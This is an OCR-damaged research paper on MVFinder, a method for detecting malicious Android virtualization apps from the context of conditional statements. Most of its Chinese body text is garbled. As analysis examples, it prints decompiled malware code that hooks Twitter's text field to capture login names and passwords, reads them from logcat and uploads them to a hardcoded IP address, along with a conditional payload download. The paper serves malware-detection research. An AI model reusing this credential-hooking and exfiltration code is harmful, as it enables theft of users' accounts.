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Abstract:  Android virtualization applications is host applications and support dynamic loading of functional modules
required by users in the form of plugins. Malicious developers use the above application features to hide their real attack in-
tents in plugin applications for avoiding detection against the host applications. However, plugins are numerous and difficult
to obtain and analyze, and existing pattern-based Android malicious virtualization application detection solutions have the
problem of limited detectable application types. We propose a method based on contexts of conditional statements for de-
tecting Android malicious virtualization applications and implement a prototype tools named MVFinder. The method takes
the contextual environment in the Android virtualized application code that triggers loading or calling behaviors of plugin
programs as the entry point to uncover the hidden maliciousness, for avoiding the need to consume a large amount of re-
sources to try to obtain different kinds of plugin programs in real time or to parse the loading and running mode of the pl-
ugins one by one. At the same time, the method leverages the anomaly detection technique to discover data samples that dif-
fer significantly from the conditional contexts of most benignware, and thus identify the targeted malware, for avoiding the
limitations of detecting with predefined rules. The experimental results show that this method outperforms the current repre-
sentative schemes including VAHunt, Drebin, and Difuzer, in terms of accuracy and F, score for detecting Android mali-
cious virtualization application. Compared to VAHunt, MVFinder achieves identification of variants of HummingBad and
PluginPhantom malicious application families.

Key words: mobile security; Android virtualization applications; malicious code; contextual information; static anal-

ysis; outlier detection
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1 Class<?> cls = Class.forName ("com .twitter.android. TwEditText");

2 Method[ ] methods = cls.getMethods( );

3 int length = methods.length;

4 inti=0;

5 Method method;

6 while ( true ) {

7 if (i>=length) {

8 method = null;

9 break; }

10 method = methodsl[i];

11 if (method. getName( ).equals("getText")) {

12 break; }

13 it}

14 if (method != null ){

15 Class<?> cls2 = Class.forName("android.widget.EditText" true,
VClientImpl. getClient( ). getCurrentApplication( ).getClassLoder( )));

16 Method method2 = cls.getMethods("getText", method.getP aramterTypes( ) );

17 if( AndFix.a( )){

18 AndFix.a(method2, method); }}
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WA, Bk 3 2 TF I — B e i RREe i H A5
B E 4R ez AR A v doids 35 A while
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1 public Editable getText( ) {

2 boolean z,z1,2z2 = false;

3 int id = getld();

4 if(id==2131952730) {

5 boolean z2 = false;

6 boolean z3 = false;

7 for (StackTrace Elementstack TraceEle ment: Thread.currentThread().getS tack Trace()) {
8 String methodName = stack Trac eEleme nt.getMethodName();

9 if (methodName.equals("onClick")) {

10 73 = true;

11 } else if (methodName.equals("i")) {

12 72 = true;

13 } else if (methodName.equals("s")) {

14 z =true; }}

15 if (23 && 72 && 2) {

16 Log.e("twittre", "identifier:" + ((Object) editable));

17 login_identifier = editable .toString(); }

18  }elseif(id==2131952731) {

19 boolean z4 = false;

20 for (StackTrace Element stackTraceElement2 : Thread.currentThread(). getStack Trace()) {
21 String methodName2 = stack TraceEle ment2.getMethodName();
22 if (methodName2 .equals("onClick")) {

23 74 = true;

24 } elseif (methodName2.equals("i")) {

25 z=true; } }

26 if (z4 && z) {

27 Log.e("twittre", "password:" + ((Object) editable));

28 login_password = editable.toString(); }} }

I3 Bk A E S getText(J7 IA TR BARTAAT 2248

A oM E A ST T T ) 2 R AR R A
R FT AL BT A A0 R JLI0 B (1) ] Java )2
SEAILTI AR BT B2 48 5 (2) I URLAHOC API,
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G 1R 1 T T 5 SR Cln s 2 4 & 3 Y et Text
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TP T B T 4 g ) T 6 SR CAn i 2 i e 4R A
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1 while (true) {

2 String[] strArr= {"logcat", "-c"};

3 String[] strArr2 = {"logcat", "*:s", "twittre:e"};

4 Runtime runtime = Runtime.getR untime();

5 runtime.e xec( strArr).waitF or();

6 process = runtime.exec(strArr2);

7 inputStream = process.getlnputStream();

8 dataInputStream = new DataInputS tream (inputStream);
9 while (true) {

10 String readLine = datalnputS tream.readLine();

11 if (readLine != null) {

12 if (readLine.contains("identifier:")) {

13 str = a(readLine);

14 str2 = str3;

15 } else if (readLine.contains("password:")) {

16 String a = a(readLine);

17 str =str4;

18 str2 = a;

19 } else {

20 str =str4;

21 str2 = str3; }

23 new StringBuilder("i =").append(str).append(", p =").append(str2);
24 URL url = new URL("http:/52.71.240.169/api/pxkj");
25 TwUploader a2 = TwUploader.a();

26 a2.a(url);

27 a2.a(("t=twitter;i=" + str + ";p="+ str2).getBytes());
28 J/ARN 11}
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TR 22 (8] A7 0 T A% AR L 5 4 17 /Y isWifiEnable
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1 Locale lo = Locale.getDefault();

2 country =lo.getCountry();

3 wifiManager = (WifiM anager) getApplicationC ontext()
.getSystemService(Context. WIFI_SERVICE);

4 internetState = wifiManager.isWifiEnable();

5 + ifClass.ifMethod(country,"China");

6 if (country.equals("China")) {

7+ ifClass.ifMethod(internetState);

8 if (internetState) {

9 Uri AdUri = Uriparse("content:/Ad");

10 Cursor Ad = getContentResolver.query(AdUri);

11 String downLoad = Ad.getString(Ad.getColumnIndex("address"));
12 URL urlAd = new URL(downLoad);

13 startDownload(urlAd ); }}
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1 public void run() {
2 el
3 DownloadRequest request = this.mqueue .take();
4 download(request);
5 el
6
private void download (DownloadRequest request) {
el
9 HttpUR LConnection connection2 = prepareConne ction(re quest);
10 transfer Data(conne ction2, request);
11 Mool
v

i
13 private void transferData (HttpURLC onnection connection, DownloadRequest request) {
14 el

15 File tempFile = request.getTempF ile();

16 Random AccessFile raf2 = new RandomA ccessFile(tempFile, "rw"):
17 in = connection.getInputStream();

18 if (in !=null) {

19 byte[] buffer = new byte[4096];

20 while (I Thread.currentThread().isInterrupted () & & !request.isCancled()))
21 if (length == -1) {

22 long fileSize = request. getTempFile() .length();

23 request.setDownloadedS ize( fileSize);

24 request.setTotalS ize( fileSize);

25 updateProgress(request);

26 }

27 int length = readFrom InputS tream(buffer, in);

28 raf2.write (buffer, 0, length);

29 I.....d]
30 1

P9 ACFRNEZR G TR SRR a AU B

IO, AT AT AN T Al SE g, SR R R
T MVFinder 4G IR . by 52 B0 2000 BE B 85O DA
AR 25 Z5 A BT SCHRE I A AR 1] e A TN TR A
MARIC, IF A T 45 R AR A R R EH & F MV-
Finder X} 3% 2 B AF m] 12 A9 K M 25 58, 3 B MV Finder X}
MR B SRR TSR . SR, 7E SE R R A
Jof FH H 4 B R AIE 1] B 4 R AR I S 3 RO B E L (H
DO 0 T B B AR AE 1) 4 AR v D AN
KA, Tl n W & A kI6e . o, MV-
Finder B RN A AL 52 HUT 9 135 ZRRRAE 1) 42, X H
HATE — N TARETFE DR B KRG 77 . Btk A
TREPLIERE T 104> 28 0 B HE AR, 6T R 2 G 15
P30 i RARS , %k DA rP B ORI Y 1 843 ZRRA IR [n] £ 7
PN A IFpRic HoE A B i . eI I 45 21

FEAE [

R E A 1 SO R A RRAE e R R 2 (3
T 104E) | X 4% 4 i 2 AT I Al 92 56 (2t 1 023 iy
TR A ) 5 FE 2 K A IsF E) FIORS . DRl AR Y AR 4l 4%
A B RRAE AT SCARUE B 10 B4 AE 0 T 441. Gl =
<SN>. G2=<L,R,.R,>.  G3=<U,.U,.D,.D,>.
G4 =<J> AT IHA L, SRS R NE 3PN . T
BIE RN, CA A RS- UK T G1.G2 F1 G3 411
FRIF PR JE . 40035 2, G4 4 B AHAEAS B2 o) H At 4
FEFFEAR B A #b 5, R B 3 A7 G4 A R E A
SERR R S 3 A N A TR R

F 2S48 B4 FT 01, MV Finder 75 2 8 414 F (HP
G1&G2&G3&GA) (W HERG R A F 43 B3O8 Ho A4,
X 7R A SCRIT 4 L) 45 2 JE RRAE YR O A Y
TR E T S TR s A O R A R

e A S T SCRIURR ) 2 i R R AU R ARSI i 3679

3 F3F MVFinder B A BRSO 45 B %
FRIFLL A MR | OREEER | dEER | F

G1&G2&G3&G4 97.8 99.3 96.1 97.6

G1&G2&G3 92.1 89.3 95.6 923

G1&G2&G4 725 69.5 98.2 81.4

G1&G3&G4 943 92.9 95.9 943

G2&G3&G4 90.7 88.1 98.2 92.9

G1&G2 725 69.5 98.2 81.4

G1&G3 725 69.5 98.2 81.4

G1&G4 725 69.5 98.2 81.4

G2&G3 83.8 51.6 38.3 44.0

G2&G4 81.0 46.3 76.8 57.8

G3&G4 81.1 455 62.3 52.6

Gl 81.1 455 62.3 52.6

G2 83.6 50.0 15.4 235

G3 413 20.6 85.9 33.3

SCIAR S . A6 A I35, A RRAE AL A ARSI 25 SR s 17
F A 5 G1&G2&G4 ., G2&G3&G4 . G1&G2., G1&G3 5
G1&GATEMN M S ZFEFIE LA . WA IR A M5 & B, A
BT RREALS, R SAUFFA A X T EAF LT
SCHDE R A LT X XA RE AR 2, IR K 3%
B LR ST N YRR RO R R . &
FRAE AL A% T 8 45 0F T SR 20 i SRS o, R Ik
HEEARIZE

4.4.2 $3EEFETXHSIT S

4.4.2.1 AEAMENZENAPEGHELTIER

it

AT S DI TR v D38 RN HH AN 2 R R
ULk L N 3R R 9 25 7R B R SCfE BEAT T G2t
M, SETEZS A AR K B

(1) 42 W, 30 5 e LAk 7 FH B 8 7 7 P B ) ol
Ry Re S ) I S P s ¥ N S N R SR <
LAk 17 B f8 1) T 1) EUER APT A FE 465 SOk fnh % 2%
PRy BRI 7R 4 5% B S 3o B
SCHRUROT 5 HIk 22.38% , T E 35 25 AN T
SR TS A 7.8% 5 7E % T AL R FH
BN E R SO EUROT 5 FEN 14.9% , 0 7E 35 S0 Y
BN B SO RO N Y 6.6%.

(2) %2 i3 FE AR R B 38 2 10 P B At g - 1]
URLAHZE APL $BIJEAEAN | SCHp, 22 sl G S il ik
7 S {8 1) F R URL AH 9€ APT A 30 FH 45 57 o0 fioh 2 4%
Ay BRI, A% w0 B R N s
SCH URLARSE AP (5 ik 13.28% , T A6 35 7 W FH A B ok
R SCH RS APL Y FUANCR 4.13% ; 16 & RLUE R L
N FH I 1R SCH URLAHSE AP Hh 8.8%, T #E 35
BN R SR 2 AP HAUCR 1.9%.
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(3) %2 510 75 K P00 b 07 FH L 35 5 107 P B i)
FHECHE FE AR G APL AS[R]F 2 70 & 3, 28 o 5
PR ISE FH A6 1) - 7E 2% A 18 R ik A R B 12 A
K APLLAEIEE A CHEE B . BRI S 782 il
LA I FH A ISR R S Bl A G APL S H R
11.7% , T 76 35 7 0 B9 3R/ 7R Sc, 28 APTRY
FANAT 2.7% 5 1648 58 R HUAL I T A 38 B F S
B PR AH 56 APLAY (5 He Ik 13.89% , 111 7 3% 72 W FH A ek
N E R ScH, 38 APLAY | HUAY AT 2.3%.

4.4.2.2 REFHLETXHAPIERRFER ST

AR IR S v R B S SRR R SCHEAT A0 A
GETT T A UCHT 10 B9 AP, 45 SR 4036 4 FT R . 3L T %
SR ARTTAH LR E R

(1) 5% 4 F 1 F 3CHh URL TG APT 9 38 F 4 vk
o . wlan, <java. net. HitpURLConnection: void con-
nect()) . {java. net. URL: java. net. URLConnection open-
Connection () ) 4% API W] B I 31| % 510 & R #0405 FH
5y v IR 55 A% 0 1 4 .

F4 REFGELTXHHIURRI 100 APIER

APIZEA, IR KE
{java.net.HttpURLConnection: void connect() ) 1513 URL A&
( android.database.Cursor: java.lang.String getString(int) ) 1489 HEHE PSS
{ android.content.Context: java.lang.String getPackageName() ) 827 U TTI:
(android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang Stringf], ) .
java.lang.String, java.lang.String[].java.lang String) ) 78 HUR PR
{ android.content.Context: java.lang.Object getSystemService(java.lang.String) ) 757 T
(java.net. HitpURLConnection: int getResponseCode() ) 663 URL A&
(java.net.URL: java.net. URLConnection openConnection() ) 629 URLHG
{java.net. HitpURLConnection: void setConnectTimeout(int) ) 623 URLAHE
{ java.net. HttpURLConnection: java.io.InputStream getlnputStream() ) 474 URL A&
(android.content.Intent: java.lang.String getAction() ) 267 HURTy Tk

(2) 58 25 1F B SO B PEAHSC APLE IR R
RIS /D F URL AH O Y AP, HJ2 [ AE A 45 5 ik
- . 40, (android. database. Cursor: java. lang. Siring
getString (int) ) 5 APT A] T M EICHE 2 rh A f) 4 10 A8 7
f9 URL Bk, PR B2 e ] SR

(3) 5 A0 T SCOh U I B B, R
SR AT RE N T b 5 AT 0 BT 2R AR BRI
(android. content. Context: java. lang. String getPackage-
Name () ) 2 % 51 4 BOKG 1 7 e 6 44 B9 32 22 AP,
(android. content. Context: java. lang. Object getSystem-
Service (java. lang. String) ) Al Fl FiE R KR A GH RS,
(android. content. Intent: java. lang. String getAction () )
AT AR ICT- IR A LUA & I s fef (R R g Bl . ot
b AR HABBURO B B T 5 450 R Serp . 49
4n, (android. telephony. TelephonyManager: java. lang.
String getDeviceld () ) Fil {android. net. ConnectivityMan-
ager: android. net. NetworkInfo getActiveNetworkInfo () )
{14 BB 23591 A 143 YCRIT167 Y. 3X 24> APTR] T
ARAF VAT AT 1D AR Z0IR S , LAATE Dy 22 5% 2 AL
PR FH fish 2 BEA T B4 2517
4.5 TEA¥E

MVFinder [ 4 (R AT PR 2 34095 FRAE 42
B BRI SR S A I . AR R ZRog 5, G A

JE T B AE I 77 A T AR i SR S8 ARG DU B YT . E SR
o RS RLYI 2R IR RE RS 249k 34.10 s, 177 Ho At 2 350 R 15 7E
AR EIH AR Y I R 3R 5 R Ll 5 ]
1, MV Finder 7546 W P15 BORCREGS , — S AF- 1
KD I [R)7E 6 s 247, {H 2 HAE R AE 52 U BeIH A8 1Y i
[B] 451K, 3% F 3L K~ MVFinder % T FlowDroid 5€ i T
e A A T 23 AT 5 2 AR U 23 A B A L aE i S
Mk [38 7] 1, FlowDroid 7 2 46 % 5 A< 14 Bk [A] FH 3350 9%
PEAIAT R BE R ST U AT . R U Y 2 ik
A TP 5 N 2 2 A ) R/ N ol R T R T PR
Xof 35 T I B R FE R BB ] BE A L X R R, H
LA A W 1 WL 2R 5 2

%5 MVFinder 8B A AR SH T IHFENEHEE ALLs

N AR HL b g ol S ]
TN 818.3 5.9 824.2
SRR H 163.5 6.2 169.7

AEE T2 252 B VA Hunt Ko W26 17 FH O 734
A2 217.9 s. % TR E BRI A RS 510
DG 2 S K 0 A I L 9 A AT 2 T 0 L 437 4
R PR 34 K 8% 5 F MV Finder. 8K , S
A1 T LI ME A F, SO T MVFinder. B
VAHunt fl MVFinder 76 #  5CR AR 7 45 A L4
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AKT] 2% S8R 2 26 T R P R 1, 23 B Bk B A i I
Ak, DARIEC A TR AR S
5 g

%5 UE MV Finder B4 20ME , AR SCR T T 2077 12
ST RE ST 2 w0 R AR 0 22 4 . 25 T 3 BB B
VA BRI 280 B T A TR 4 B3 1 BB R
1 VAHunt BF58 AN, 35 B2 345 S 56 i FH i) i 4
H2 A AR R KB TSR A WA, 3 Kl
BUEE, I TR AL . SR )5 230 SOl M 28 kR [ 3
a5 AT B AL S I, M Koodous . AndroZoo
AT 755 55 =07 & T &2t 23 0000 T A
R HARRLH . A TAE B 228 I — 2845 2 1 %%
BN BT LRI SRR I R A /N TR S i
A O RSN T i P AR A BT st 2
PRI, 2 4 2 R R X o e — 2822 i g AT 43
BT RS I ) T AR A AE A /N R AR HEA T 8CR PPA ) 1
B R A9 28 TR E R I R (9B, MV Finder
M 5 T 345 1Y 35 2 0 R A JEAT AR 2k, fif ok 1
IESAREAR P 1 ) . S8 45 R R B, 5 VAHunt
Drebin Lk & Difuzer # ., MV Finder 1] 47 L1551 42 51
BN A . AT AR TAE VAHunt, MVFinder
ERES HummingBad I PluginPhantom N RGN
AR B E AR S 2 S HARHIT A BUG A, LASRIS
RIS 1) B0 S 3 110 T e ST 5

FYGLEHEFRI , MV Finder P TSR 250 5 5 460
B RS (DA BRE , (HL R A T R AE 2 AR B ) 31 . PR3 315
S3 BT R B R A TS R BT R A A TR R SR I
FeHE IR 2 — | 2% B F| FlowDroid & 2 /i 2F AR B h e
PERYER TS A TR 2Z — , MVFinder 38 HAE R 5
S AT 5188 . SR, FlowDroid 23 48 2% 54 i B8] LA
A7 b L 2S5 s 00T, IXR I T MV Finder 9 451IE 12
BUReR . w5 Z U A J2 , FlowDroid 78RR $2 B BL /)
I TE] F 4 5 A TAERY = S 9E H bR 2 IR A/, B I
NS MV Finder X 22 538 8 R P40 7 FH B9 A 2R
AR AT % S8 LA 5 T #EAT BRI AL - (1) MR R 2
LA RS T R, 224 2 FlowDroid S UHC &, Fe e
PR 0T G R O 4 2 B B 8 B 53 A 19 e IR T2
A0, AR FlowDroid (1155 24 5 (2) 4% FlowDroid
B Sy HA 28R T 1 #R S TS s AT TR AN Fast-
Droid "4  {H 3 Bf 1] g S BURRHE S U RS B R % 5 (3)
235 ENEIIVAEIOEST R/ SuR iy fRn  SVANCI B BuE:
TN AT R A B 26 R SCfFE R

AR AR BE T 410k 22 510 R AU 0 FH AR 1) 2
IR B T AR BYRHE . [R] AS AR A
AN [ 48 B R AT (8] (8 R DG SIE B Y BN AR AR RRAE TR

AT B0 . R S B0 2 R AR AS T AR o S BBURRAE T T
AKX o335 TS 2 L AU T . SR AR AR
TR — T A8 PR AR AN TR B AT 8 4 45 3R T
AE2 ™ AE AN R R INOR . AR W] 2% JE 5 AR~
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BLHATA

6 it
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